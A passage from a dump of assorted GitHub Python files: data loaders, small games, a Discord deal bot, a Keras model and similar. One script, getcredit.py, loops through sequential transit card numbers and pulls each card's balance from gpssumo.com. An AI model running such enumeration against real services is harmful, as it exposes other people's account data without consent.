vocab.idx2word[str(cid)]))\n # df.set_trace()\n \n #return image, target, node_labels, index, img_id, start_nodes, end_nodes\n return image, target, node_labels, start_nodes, end_nodes, index, img_id\n\n def __len__(self):\n return self.length\n\n\ndef collate_fn(data):\n \"\"\"Build mini-batch tensors from a list of (image, caption) tuples.\n Args:\n data: list of (image, caption) tuple.\n - image: torch tensor of shape (3, 256, 256).\n - caption: torch tensor of shape (?); variable length.\n\n Returns:\n images: torch tensor of shape (batch_size, 3, 256, 256).\n targets: torch tensor of shape (batch_size, padded_length).\n lengths: list; valid length for each padded caption.\n \"\"\"\n # Sort a data list by caption length\n # data.sort(key=lambda x: len(x[1]), reverse=True)\n #images, cap_trees, node_labs, ids, img_ids, st_nodes, end_nodes = zip(*data)\n images, cap_trees, node_labs, st_nodes, end_nodes, ids, img_ids = zip(*data)\n #df.set_trace()\n # Merge images (convert tuple of 3D tensor to 4D tensor)\n images = torch.stack(images, 0)\n \n # Merget captions (convert tuple of 1D tensor to 2D tensor)\n # lengths = [len(cap) for cap in captions]\n # targets = torch.zeros(len(captions), max(lengths)).long()\n # i, cap in enumerate(captions):\n # end = lengths[i]\n # targets[i, :end] = cap[:end]\n \n # Make a batch of caption trees\n targets = dgl.batch(cap_trees)\n # This lengths seems to be not needed, but currently anyway kept.\\\n # lengths = [cap_tree.num_nodes() for cap_tree in cap_trees]\n # df.set_trace()\n \n return images, targets, node_labs, st_nodes, end_nodes, ids\n\n\ndef get_precomp_loader(data_path, data_split, vocab, opt, batch_size=100,\n shuffle=True, num_workers=2):\n \"\"\"Returns torch.utils.data.DataLoader for custom coco dataset.\"\"\"\n dset = PrecompDataset(data_path, data_split, vocab)\n #df.set_trace()\n data_loader = torch.utils.data.DataLoader(dataset=dset,\n batch_size=batch_size,\n shuffle=shuffle,\n pin_memory=True,\n collate_fn=collate_fn)\n #df.set_trace()\n return data_loader\n\n\ndef get_loaders(data_name, vocab, batch_size, workers, opt):\n dpath = opt.data_path # os.path.join(opt.data_path, data_name)\n print(\">> Create a data loader from {}\".format(dpath))\n # train_loader = get_precomp_loader(dpath, 'train', vocab, opt,\n # batch_size, True, workers)\n train_loader = get_precomp_loader(dpath, 'train', vocab, opt,\n batch_size, True, workers)\n val_loader = get_precomp_loader(dpath, 'dev', vocab, opt,\n batch_size, False, workers)\n return train_loader, val_loader\n\n\ndef get_test_loader(split_name, data_name, vocab, batch_size,\n workers, opt):\n dpath = opt.data_path # os.path.join(opt.data_path, data_name)\n print(\">> Create a data loader for TEST from {}\".format(dpath))\n test_loader = get_precomp_loader(dpath, split_name, vocab, opt,\n batch_size, False, workers)\n return test_loader\n","repo_name":"Sy4ma/SCAN_tree","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":7808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"15998347678","text":"#!/usr/bin/env python\r\n# -*-coding:utf-8 -*-\r\n\r\n# 【项目二】高级猜数字\r\n# 制作交互性强、容错率高的猜数字游戏程序。\r\n# 要求:\r\n# 为猜数字游戏增加记录玩家成绩的功能,包括玩家用户名、玩的次数和平均猜中的轮数、历史的最好成绩等;\r\n# 如果记录里没有玩家输入的用户名,就新建一条记录,否则在原有记录上更新数据;\r\n# 对玩家输入做检测,判定输入的有效性,并保证程序不会因异常输入而出错;\r\n# 将游戏打包为 exe 文件。(可选)\r\n#思路:\r\n#文件记录三个变量:玩家姓名,玩的总次数,玩的总轮数,平均猜中的轮数,历史最好成绩\r\n# #打开文件,如果玩家存在,读取玩家原先的游戏次数,总轮数\r\n# 如果玩家不存在,创建玩家姓名\r\n# 开始游戏\r\n# 游戏结束,保存玩家游戏次数(原游戏次数+本次游戏次数),总轮数(原轮数+本次轮数),历史最好成绩\r\n# 关闭文件\r\n#用到的知识点:输入输出,循环(循环内添加变量),条件判断\r\n#盲点:如何对输入有效性做检测,打包exe文件\r\n#盲点:如何进行文件处理,记录数据,更新数据\r\n\r\nimport os\r\nif os.path.exists(\"gameplayer record.txt\"):\r\n pass\r\nelse:\r\n with open(\"gameplayer record.txt\",mode=\"w\",encoding=\"utf-8\") as f:\r\n f.write(\"name,0,0,0,0\")\r\n f.close()\r\nname=input(\"请输入你的玩家ID吧:\")\r\nf=open(\"gameplayer record.txt\",\"r+\")\r\nlines=f.readlines()\r\nscores={}\r\nf.close()\r\nprint(scores)\r\nfor l in lines:\r\n s=l.split()\r\n scores[s[0]]=s[1:]\r\nscore=scores.get(name)\r\nprint(score)\r\nif score==None:\r\n score=[0,0,0,0]\r\nelse:\r\n score = scores.get(name)\r\nimport random\r\ntotal_times=int(score[0])\r\ntimes=float(score[1])\r\nbest_times=float(score[3])\r\nif best_times!=0:\r\n average_times = times / total_times\r\n print(\"%s,你好,你已经玩了%d次,平均%.2f轮猜中一次,最快%.2f轮猜中\" % (name, total_times, average_times,best_times))\r\nelse:\r\n average_times=0\r\n print(\"%s,你好,这是你首次玩本游戏\"%(name))\r\nwhile True:\r\n times2 = 0\r\n choice = input(\"1:开始游戏 2:退出游戏\\n\")\r\n if choice==\"1\":\r\n print(\"%s,下面请你猜一个1-10之间的数字\"%(name))\r\n real_number = random.randint(1, 10)\r\n while True:\r\n number = input(\"猜猜我是几\")\r\n b=number.isdigit()\r\n if b==True:\r\n number=int(number)\r\n times=times+1\r\n times2=times2+1\r\n if numberreal_number:\r\n print(\"你猜的太大了\")\r\n else:\r\n print(\"你猜对了\")\r\n break\r\n else:\r\n print(\"你的输入有错误,请输入数字\")\r\n total_times=total_times+1\r\n average_times=float(times/total_times)\r\n if best_times==0 or best_times>=times2:\r\n best_times=times2\r\n print(\"%s,你一共玩了%d次,平均%.2f轮猜中一次,最快%.2f轮猜中\"%(name,total_times,average_times,best_times))\r\n else:\r\n print(\"%s,你一共玩了%d次,平均%.2f轮猜中一次,最快%.2f轮猜中\" % (name, total_times, average_times, best_times))\r\n else:\r\n print(\"%s,我们下回见\"%(name))\r\n break\r\nscores[name]=[str(total_times),str(times),str(average_times),str(best_times)]\r\nresult=\"\"\r\nfor n in scores:\r\n lines=n+\" \"+\" \".join(scores[n])+\"\\n\"\r\n result+=lines\r\nprint(result)\r\nf=open(\"gameplayer record.txt\",\"w+\")\r\nf.write(result)\r\nf.close()\r\n","repo_name":"sdwar/corssin--","sub_path":"guessnumbergame.py","file_name":"guessnumbergame.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27023318056","text":"import urllib2\nimport datetime\n\nnow = datetime.datetime.now()\nfile = open('results/credit-'+str(now.date())+'.txt','w')\n\nfromcard = 10000000\n#tocard = 10250000\ntocard = 10000010\n\nfor x in range(fromcard, tocard):\n card = x\n response = urllib2.urlopen('http://www.gpssumo.com/movimientos/get_movimientos/'+str(card)+'/3')\n rslt = response.read()\n line = str(card)+','+rslt[rslt.find('saldo : ')+11:rslt.find(', saldo_viajes :')-1]+'\\n'\n file.write(line)\n print(x)\n\nfile.close()","repo_name":"jemacchi/gpssumo-tools","sub_path":"getcredit.py","file_name":"getcredit.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"28053902781","text":"import asyncio\nimport discord\nimport pymongo\nfrom helpers import center, smart_time, load_from_json\nfrom scrapers import Slickdeals\n\nclass MyClient(discord.Client):\n\tdef __init__(self, *args, **kwargs):\n\t\t'''Initialize MyClient class with some additional attributes.\n\n\t\tAttributes:\n\t\t\tconfig: Dictionary containing non-sensitive configuration info.\n\t\t\tdb: Main pymongo database.\n\t\t'''\n\t\tsuper().__init__(*args, **kwargs)\n\n\t\tself.config = load_from_json('config.json')\n\t\tself.db = pymongo.MongoClient('mongodb://localhost:27017/')['DNABot']\n\n\tasync def on_ready(self):\n\t\t'''Print a message once logged in.'''\n\t\tcenter('[{}] Logged on as {}.'.format(smart_time(), self.user))\n\n\tasync def setup_hook(self):\n\t\t'''Setup loop for self.my_background_task()'''\n\t\tself.loop.create_task(self.my_background_task())\n\t\n\tasync def on_raw_reaction_add(self, payload):\n\t\t'''Function to support message forwarding'''\n\t\tif payload.user_id != self.user.id and self.config['enableForwarding'] and payload.channel_id == self.config['privateChannelId'] and str(payload.emoji) == '\\U0001F4C8':\n\t\t\tfor collection in self.db.list_collection_names(): # Iterate through collections to find initial message\n\t\t\t\tmatching_mesage = self.db[collection].find_one({'discordMessages.messageId': payload.message_id})\n\t\t\t\tif matching_mesage:\n\t\t\t\t\tscraper = eval(collection + '()') # Find scraper that matches collection name\n\t\t\t\t\tembed = discord.Embed.from_dict(scraper.discord_post_info(matching_mesage)) # Re-create embed\n\t\t\t\t\tchannel\t= self.get_channel(self.config['publicChannelId'])\n\t\t\t\t\tmessage = await channel.send(embed=embed)\n\t\t\t\t\tmessage_info = {\n\t\t\t\t\t\t'messageId': message.id,\n\t\t\t\t\t\t'channelId': message.channel.id\n\t\t\t\t\t}\n\t\t\t\t\tdiscord_messages = matching_mesage['discordMessages'] + [message_info]\n\t\t\t\t\tself.db[collection].update_one(matching_mesage, {'$set': {'discordMessages': discord_messages}}) # Update stored post info\n\t\t\t\t\tbreak\n\n\tasync def scrape_slickdeals(self):\n\t\t'''Scrape Slickdeals for queries specified within self.config['slickdealsQueries']'''\n\t\tprint('{}\\r'.format(center('[{}] Scraping Slickdeals...'.format(smart_time()), display=False)), end='')\n\t\tcollection = self.db['Slickdeals']\n\t\tscraper = Slickdeals()\n\t\tfor i in range(len(self.config['slickdealsQueries'])): # Iterate through slickdeals queries\n\t\t\tquery = self.config['slickdealsQueries'][i]\n\t\t\tquery_results = await scraper.query_results(query) # Get query results\n\t\t\tfor k in range(len(query_results)): # Iterate through query results\n\t\t\t\tpost = query_results[k]\n\t\t\t\tmatching_post = collection.find_one({'postId': post['postId']}) # See if post was already shared via Discord\n\t\t\t\tif not matching_post: # Create new embed\n\t\t\t\t\tembed = discord.Embed.from_dict(scraper.discord_post_info(post))\n\t\t\t\t\tif self.config['enableForwarding']: # Post to private channel if forwarding is enabled\n\t\t\t\t\t\tchannel\t= self.get_channel(self.config['privateChannelId'])\n\t\t\t\t\telse: # Post to public channel if forwarding is disabled\n\t\t\t\t\t\tchannel\t= self.get_channel(self.config['publicChannelId'])\n\t\t\t\t\tmessage = await channel.send(embed=embed)\n\t\t\t\t\tawait message.add_reaction('\\U0001F4C8')\n\t\t\t\t\tpost['discordMessages'] = [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'messageId': message.id,\n\t\t\t\t\t\t\t'channelId': message.channel.id\n\t\t\t\t\t\t}\n\t\t\t\t\t] # Add message info to post dictionary\n\t\t\t\t\tcollection.insert_one(post) # Store post info along with message info\n\t\t\t\telif any(key not in matching_post.keys() or post[key] != matching_post[key] for key in post.keys()): # Update existing embeds\n\t\t\t\t\tembed = discord.Embed.from_dict(scraper.discord_post_info(post))\n\t\t\t\t\tfor message in matching_post['discordMessages']: # Iterate through prior messages\n\t\t\t\t\t\tchannel = self.get_channel(message['channelId'])\n\t\t\t\t\t\tprior_message = await channel.fetch_message(message['messageId'])\n\t\t\t\t\t\tawait prior_message.edit(embed=embed) # Update prior message\n\t\t\t\t\tcollection.update_one(matching_post, {'$set': post}) # Update stored post info\n\t\t\t\tif k < len(query_results) - 1:\n\t\t\t\t\tawait asyncio.sleep(3)\n\t\t\tif i < len(self.config['slickdealsQueries']) - 1:\n\t\t\t\tawait asyncio.sleep(60)\n\t\tcenter('[{}] Successfully scraped Slickdeals.'.format(smart_time()))\n\n\tasync def my_background_task(self):\n\t\t'''Process a variety of background tasks.'''\n\t\tawait self.wait_until_ready()\n\t\tawait asyncio.sleep(3) # Sleep to allow login message to be sent before proceeding\n\t\twhile not self.is_closed():\n\t\t\tif 'slickdealsQueries' in self.config.keys():\n\t\t\t\tawait self.scrape_slickdeals()\n\t\t\tawait asyncio.sleep(3600)","repo_name":"DefNotAvg/DNABot","sub_path":"discordbot.py","file_name":"discordbot.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"27963720628","text":"import json\nimport requests\nfrom bs4 import BeautifulSoup as bs\n\n\ndef post_request(url, headers, data={}):\n data = json.dumps(data)\n response_data = requests.post(url, headers=headers, data=data)\n response_data = json.loads(response_data.text)\n print(response_data)\n return response_data\n\n\ndef get_post_data(response_data):\n session_id = response_data[\"examSessionId\"]\n question_ids = \"\"\n question_list = response_data[\"questions\"]\n for i in question_list:\n question_ids = question_ids + str(i) + \",\"\n question_ids = question_ids[:-1]\n post_data = {\"sessionID\": session_id, \"questionIDs\": question_ids}\n return str(question_list), post_data\n\n\ndef get_raw_text(data):\n data = bs(data, features=\"html5lib\")\n data = data.get_text()\n return data\n","repo_name":"tzurea/collection","sub_path":"academic/engentrance/engdote/engdote/utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39350721787","text":"from collections import defaultdict, deque\n\ndef get_map(roads):\n m = defaultdict(list)\n for road in roads:\n m[road[0]].append(road[1])\n m[road[1]].append(road[0])\n return m\n\ndef solution(n, roads, sources, destination):\n distances = [500000 for _ in range(n+1)]\n distances[destination] = 0\n maps = get_map(roads)\n bfs = deque([destination])\n while bfs:\n p1 = bfs.popleft()\n d = distances[p1]\n for p2 in maps[p1]:\n if d+1 < distances[p2]:\n distances[p2] = d+1\n bfs.append(p2)\n \n return [distances[i] if distances[i] != 500000 else -1 for i in sources]\n","repo_name":"jaejae2374/CodingTest","sub_path":"부대복귀/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73177281968","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nN = 1000\r\nn = 10\r\np = 0.5\r\n\r\nP1 = np.random.binomial(n,p,N)\r\n\r\n\r\nplt.figure()\r\nplt.hist(P1, density=True, alpha=0.8, histtype='bar', color = 'green', ec='black')\r\nplt.show()\r\n\r\n\r\n","repo_name":"PacktPublishing/Hands-On-Simulation-Modeling-with-Python","sub_path":"Chapter03/binomial_distribution.py","file_name":"binomial_distribution.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"20"} +{"seq_id":"22236925653","text":"import json\n\n\nclass Cfg:\n def __init__(self):\n f = open('cfg.json', )\n data = json.load(f)\n\n rabbit_params = data['rabbitmq']\n flask_params = data['flask']\n\n telegram_params = data['telegram']\n sensibu_params = data['sensibu']\n camera_params = data['camera']\n\n self.rabbitHost = rabbit_params['host']\n self.rabbitPort = rabbit_params['port']\n self.rabbitExchange = rabbit_params['exchange']\n self.rabbitRoutingKey = rabbit_params['routing_key_format']\n self.rabbitUserName = rabbit_params['username']\n self.rabbitPassword = rabbit_params['password']\n\n self.flaskAddress = flask_params['host']\n self.flaskPort = flask_params['port']\n\n self.sensibuUri = sensibu_params['uri']\n self.sensibuToken = sensibu_params['token']\n\n self.telegramToken = telegram_params['token']\n\n self.cameraScript = camera_params['camera_capture_script']\n self.camera_photos_dir = camera_params['camera_photos_dir']\n","repo_name":"samshimoni/Home_Automation","sub_path":"Camera/cfg_automation.py","file_name":"cfg_automation.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"818707183","text":"#Allan Cao's Assignment 6 submission\n#student number is 101218998 \n#Submitted to Professor Collier on 2021-11-07\n\nimport pygame\nimport sys\nimport random\n\n# initial random seeds.\nrandom.seed()\n# initialize the pygame module\npygame.init()\npygame.display.set_caption(\"comp1405_f21_101218998_assignment_06_by_Allan_Cao\")\nrows = 7\ncolumns = 6\nscale = 75\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nRED = (255,0,0)\nGREEN = (0,255,0)\nBLUE = (0,0,255)\nplayerColour = [BLUE,RED]\n\ndef rollDice(): #function to roll the dice\n\tdiceNum = random.randint(1, 6)\n\treturn diceNum\n\nfont = pygame.font.SysFont(\"dejavuserif\", 14, True)\nboard = pygame.Surface((columns * scale, rows * scale))\nboard.fill(WHITE)\n#drawing the squares and printing the text for the numbers\nfor num in range(rows*columns):\n\t\trow = num // columns\n\t\tcolumn = num % columns\n\t\tpygame.draw.rect(board, RED, (column*scale,(rows-1-row)*scale, scale,scale),1)\n\t\ttext = font.render(str(1+num), False, BLACK)\n\t\ttext_rect = text.get_rect(center = (column*scale+scale//2, (rows-1-row)*scale+scale//2)) #numbered tiles feature\n\t\tboard.blit(text, text_rect)\n\nplayer = [None,None]\nplayer[0] = pygame.Surface((scale, scale)) #Making a surface for both players and representing them as circles\nplayer[1] = pygame.Surface((scale, scale))\npygame.draw.circle(player[0],BLUE,(scale//3,scale//3),25)\npygame.draw.circle(player[1],RED,(scale*2//3,scale*2//3),25)\nplayer[0].set_colorkey(BLACK)\nplayer[1].set_colorkey(BLACK)\n#setting up the screen \nscreen = pygame.display.set_mode((board.get_width(), board.get_height()))\nscreen.fill(WHITE)\nscreen.blit(board, (0, 0))\nscreen.blit(player[0],(0,0))\nscreen.blit(player[1],(0,0))\npygame.display.flip()\n\nplayerColumn = [0,0]\nplayerRow = [rows-1,rows-1] #playerColumn and playerRow is the players' coordinates\nwhosTurn = 0 #While whosTurn = 0, it is player 1's turn, when it's equal to 1, it's player 2's turn\n\nstep = 0 #how many steps they are taking\nwinner = 0\nwhile winner == 0:\n\tdiceNum1 = rollDice()\n\tdiceNum2 = rollDice()\n\tprint(\"The two dice values are\", diceNum1, \"and\", diceNum2)\n\t\n\tif(diceNum1 != diceNum2):\n\t\tstep = diceNum1 + diceNum2\n\telse: #When they are the same\n\t\tstep = 2*(diceNum1 + diceNum2) #Double move feature. When they roll a pair their move is doubled. \n\t\n\tdirection = 1 #if direction = 1, they move forward. if direction = -1, they move backwards\n\tfor i in range(step):\n\t\tif direction == 1 and playerColumn[whosTurn] == columns-1: #if they are at the final column, they go to the beginning of the next row\n\t\t\tplayerColumn[whosTurn] = 0\n\t\t\tplayerRow[whosTurn] -= 1\n\t\telif direction == -1 and playerColumn[whosTurn] == 0: #if they back up into the left-most column, they go back down\n\t\t\tplayerColumn[whosTurn] = columns-1\n\t\t\tplayerRow[whosTurn] += 1\n\t\telse:\n\t\t\tplayerColumn[whosTurn] += direction #just move forward or backwards by 1\n\t\t\n\t\tif playerColumn[whosTurn] == columns-1 and playerRow[whosTurn] == 0:#if they will go past the end of the board they go backwards\n\t\t\tdirection = -1\n\t\t\t#drawing everything\n\t\tscreen.fill(WHITE)\n\t\tscreen.blit(board, (0, 0))\n\t\tscreen.blit(player[0],(playerColumn[0]*scale,playerRow[0]*scale))\n\t\tscreen.blit(player[1],(playerColumn[1]*scale,playerRow[1]*scale))\n\t\tpygame.display.flip()\n\t\tpygame.time.delay(1000)\n\t\t\n\tif playerColumn[whosTurn] == 0: #If the player lands on a square in the 0 column, then they get an extra turn (extra turn specification)\n\t\tcontinue\n\n\tif playerColumn[whosTurn] == columns-1 and playerRow[whosTurn] == 0: #Checking if a player won the game\n\t\twinner = whosTurn + 1\n\t\tbreak\n\t\n\totherPlayer = (whosTurn +1) % 2 #otherPlayer is the turn representation for the other player\n\t\n\tif playerColumn[whosTurn] == playerColumn[otherPlayer] and playerRow[whosTurn] == playerRow[otherPlayer]: #Sorry Collisions feature\n\t\tplayerColumn[otherPlayer] = 0\n\t\tplayerRow[otherPlayer] = 6\n\t\n\tif playerColumn[whosTurn] == 0: #If the player lands on a square in the 0 column, then they get an extra turn (extra turn specification)\n\t\tcontinue\n\t\t\n\twhosTurn = otherPlayer\nprint(\"Player\",whosTurn+1, \"is the winner!\")\t\ninput(\"press enter to stop\")\n\n","repo_name":"AllanCao12/1405-Assignment-6","sub_path":"comp1405_f21_101218998_assignment_06.py","file_name":"comp1405_f21_101218998_assignment_06.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25612636324","text":"from tensorflow.keras.layers import Input, LSTM, Bidirectional,Concatenate\r\nfrom layers import *\r\nfrom tensorflow.keras.models import Model\r\nfrom Bi_Attention import BiAttentionLayer\r\nfrom Paraments import args\r\n\r\ndef Score(embedding_matrix, word_index, max_sequence_length, word_embedding_dim):\r\n # =========== 参数 ================\r\n nb_words = min(200000, len(word_index)) + 1\r\n context_rnn_dim = 100\r\n dense_dim = 100\r\n\r\n\r\n print('===========build model============')\r\n w1 = Input(shape=(max_sequence_length,), dtype='int32')\r\n w2 = Input(shape=(max_sequence_length,), dtype='int32')\r\n\r\n word_layer = WordRepresLayer(\r\n max_sequence_length, nb_words, word_embedding_dim, embedding_matrix)\r\n w_res1 = word_layer(w1) # [batch_size,sequence_length,embedding_dim]\r\n w_res2 = word_layer(w2)\r\n\r\n # cnn_layer = CNNLayer(input_shape=(K.int_shape(w_res1)[1]))\r\n # conv1 = cnn_layer(w_res1)\r\n # conv2 = cnn_layer(w_res2)\r\n\r\n context_layer = ContextLayer(\r\n context_rnn_dim, dropout=0.1,\r\n input_shape=(K.int_shape(w_res1)[1], K.int_shape(w_res1)[-1],), return_sequence=True)\r\n context1 = context_layer(w_res1)\r\n context2 = context_layer(w_res2)\r\n\r\n cnn = layers.concatenate([context1, context2], axis=1)\r\n decorate = tf.reduce_mean(cnn, axis=-1)\r\n pred = PredictLayer(dense_dim,\r\n input_dim=K.int_shape(decorate)[-1],\r\n dropout=0.1)(decorate)\r\n\r\n # pred = ESIM(context1, context2)\r\n # pred = ESIM(w_res1, w_res2)\r\n\r\n model = Model(inputs=(w1, w2), outputs=pred)\r\n return model\r\n\r\ndef ESIM(a, b):\r\n co_attention_matrix = BiAttentionLayer(K.int_shape(a)[-1], K.int_shape(a)[1], K.int_shape(b)[1])([a, b])\r\n ea = layers.Softmax(axis=2)(co_attention_matrix)\r\n eb = layers.Softmax(axis=1)(co_attention_matrix)\r\n e1 = tf.expand_dims(ea, axis=-1) # [batch,seq,seq,1]\r\n e2 = tf.expand_dims(eb, axis=-1) # [batch,seq,seq,1]\r\n\r\n x1 = tf.expand_dims(b, axis=1) # [batch,1,seq_b,emb]\r\n x1 = layers.Multiply()([e1, x1]) # [batch,seq_a,seq_b,emb]\r\n x1 = tf.reduce_sum(x1, axis=2) # [batch,seq_a,emb]\r\n x2 = tf.expand_dims(a, axis=2) # [batch,seq_a,1,emb]\r\n x2 = layers.Multiply()([e2, x2])\r\n x2 = tf.reduce_sum(x2, axis=2)\r\n\r\n m1 = layers.Concatenate()([a, x1, layers.Subtract()([a, x1]), layers.Multiply()([a, x1])])\r\n m2 = layers.Concatenate()([b, x2, layers.Subtract()([b, x2]), layers.Multiply()([b, x2])])\r\n\r\n y1 = layers.Bidirectional(layers.LSTM(300, return_sequences=True))(m1)\r\n y2 = layers.Bidirectional(layers.LSTM(300, return_sequences=True))(m2)\r\n\r\n mx1 = layers.Lambda(K.max, arguments={'axis': 1})(y1)\r\n av1 = layers.Lambda(K.mean, arguments={'axis': 1})(y1)\r\n mx2 = layers.Lambda(K.max, arguments={'axis': 1})(y2)\r\n av2 = layers.Lambda(K.mean, arguments={'axis': 1})(y2)\r\n\r\n y = layers.Concatenate()([av1, mx1, av2, mx2])\r\n y = layers.Dense(1024, activation='relu')(y)\r\n y = layers.Dropout(0.1)(y)\r\n # y = layers.Dense(1024, activation='tanh')(y)\r\n # y = layers.Dropout(0.1)(y)\r\n y = layers.Dense(len(args.Slabel), activation='softmax')(y)\r\n return y","repo_name":"wuhan-1222/DL_ASAG","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11966390061","text":"class GameStats():\r\n '''track statistics for alien invansion.'''\r\n\r\n def __init__(self,ai_settings):\r\n '''initialize the settings.'''\r\n self.ai_settings = ai_settings\r\n #start Alien Inavnsion game in an inactive state.\r\n self.game_active = False\r\n self.reset_stats()\r\n #high score should never be reset\r\n self.high_score = 0\r\n self.level = 1\r\n\r\n def reset_stats(self):\r\n '''initializes statistics that can change during the game.'''\r\n self.ships_left = self.ai_settings.ship_limit\r\n self.score = 0","repo_name":"amit-purohit/shoot-the-alien","sub_path":"game_stats.py","file_name":"game_stats.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12834608998","text":"import copy\n\n\nclass CoffeeMachine:\n __buy_commands = {\n \"1\", \"2\", \"3\", \"back\"\n }\n __action_commands = {\n \"buy\", \"fill\", \"take\", \"remaining\", \"exit\"\n }\n\n def __init__(self, water: int, milk: int,\n beans: int, cups: int, money: int):\n self.__water_value = copy.copy(water)\n self.__milk_value = copy.copy(milk)\n self.__beans_value = copy.copy(beans)\n self.__disposable_cups = copy.copy(cups)\n self.__money = copy.copy(money)\n\n def __set_water(self, new_water: int):\n self.__water_value = new_water\n\n def __get_water(self):\n return self.__water_value\n\n def __set_milk(self, new_milk: int):\n self.__milk_value = new_milk\n\n def __get_milk(self):\n return self.__milk_value\n\n def __set_beans(self, new_beans: int):\n self.__beans_value = new_beans\n\n def __get_beans(self):\n return self.__beans_value\n\n def __set_cups(self, new_cups: int):\n self.__disposable_cups = new_cups\n\n def __get_cups(self):\n return self.__disposable_cups\n\n def __set_money(self, money: int):\n self.__money = money\n\n def __get_money(self):\n return self.__money\n\n def __str__(self):\n return \"The coffee machine has:\\n\" \\\n \"{0} of water\\n\" \\\n \"{1} of milk\\n\" \\\n \"{2} of coffee beans\\n\" \\\n \"{3} of disposable cups\\n\" \\\n \"{4} of money\".format(self.__get_water(),\n self.__get_milk(),\n self.__get_beans(),\n self.__get_cups(),\n self.__get_money())\n\n def __add_fields(self, added_water=0,\n added_milk=0, added_beans=0,\n added_cups=0, added_money=0):\n self.__set_water(self.__get_water() + copy.copy(added_water))\n self.__set_milk(self.__get_milk() + copy.copy(added_milk))\n self.__set_beans(self.__get_beans() + copy.copy(added_beans))\n self.__set_cups(self.__get_cups() + copy.copy(added_cups))\n self.__set_money(self.__get_money() + copy.copy(added_money))\n\n def __buy(self, needed_water, needed_milk,\n needed_beans, added_money):\n if self.__check_resource(needed_water, needed_milk,\n needed_beans):\n self.__add_fields(added_water=-needed_water,\n added_milk=-needed_milk,\n added_beans=-needed_beans,\n added_cups=-1,\n added_money=added_money)\n\n def __check_resource(self, needed_water, needed_milk,\n needed_beans):\n if self.__get_water() >= needed_water \\\n and self.__get_beans() >= needed_beans \\\n and self.__get_milk() >= needed_milk \\\n and self.__get_cups() > 0:\n print(\"I have enough resources, making you a coffee!\")\n return True\n else:\n if needed_water > self.__get_water():\n print(\"Sorry, not enough water!\")\n if needed_beans > self.__get_beans():\n print(\"Sorry, not enough coffee beans!\")\n if needed_milk > self.__get_milk():\n print(\"Sorry, not enough milk!\")\n if self.__get_cups() == 0:\n print(\"Sorry, not enough cups!\")\n return False\n\n def buy_espresso(self):\n esp_water = 250\n esp_beans = 16\n esp_money = 4\n esp_milk = 0\n self.__buy(esp_water, esp_milk, esp_beans, esp_money)\n\n def buy_latte(self):\n lat_water = 350\n lat_milk = 75\n lat_beans = 20\n lat_money = 7\n self.__buy(lat_water, lat_milk, lat_beans, lat_money)\n\n def buy_cappuccino(self):\n cap_water = 200\n cap_milk = 100\n cap_beans = 12\n cap_money = 6\n self.__buy(cap_water, cap_milk, cap_beans, cap_money)\n\n def take(self):\n withdraw_money = self.__get_money()\n self.__set_money(0)\n return withdraw_money\n\n def hyper_fill(self):\n water = int(input(\"Write how many ml of water do you want to add: \"))\n milk = int(input(\"Write how many ml of milk do you want to add: \"))\n coffee = int(input(\"Write how many grams of coffee beans do you want to add: \"))\n cups = int(input(\"Write how many disposable cups of coffee do you want to add: \"))\n self.__add_fields(added_water=water, added_milk=milk,\n added_beans=coffee, added_cups=cups)\n\n def main(self):\n in_command = \"\"\n while in_command != \"exit\":\n print()\n while in_command not in self.__action_commands:\n in_command = input(\"Write action (buy, fill, take, remaining, exit): \").casefold()\n print()\n\n if in_command == \"buy\":\n while in_command not in self.__buy_commands:\n in_command = input(\"What do you want to buy? 1 - espresso, 2 - latte,\"\n \" 3 - cappuccino, back - to main menu: \")\n if in_command == \"1\":\n self.buy_espresso()\n elif in_command == \"2\":\n self.buy_latte()\n elif in_command == \"3\":\n self.buy_cappuccino()\n elif in_command == \"back\":\n continue\n elif in_command == \"fill\":\n self.hyper_fill()\n elif in_command == \"take\":\n print(\"I gave you {}\".format(self.take()))\n elif in_command == \"remaining\":\n print(self)\n in_command = \"\"\n\n\nif __name__ == \"__main__\":\n some = CoffeeMachine(400, 540, 120, 9, 550)\n print(some)\n some.main()\n","repo_name":"Kum4yk/hyperskill_python-projects","sub_path":"Coffee-Machine/cofee_machine-class.py","file_name":"cofee_machine-class.py","file_ext":"py","file_size_in_byte":5885,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"71190739889","text":"#!/usr/bin/pythonw \n# This file is part of JMRI.\n#\n# JMRI is free software; you can redistribute it and/or modify it under \n# the terms of version 2 of the GNU General Public License as published \n# by the Free Software Foundation. See the \"COPYING\" file for a copy\n# of this license.\n#\n# JMRI is distributed in the hope that it will be useful, but WITHOUT \n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or \n# FITNESS FOR A PARTICULAR 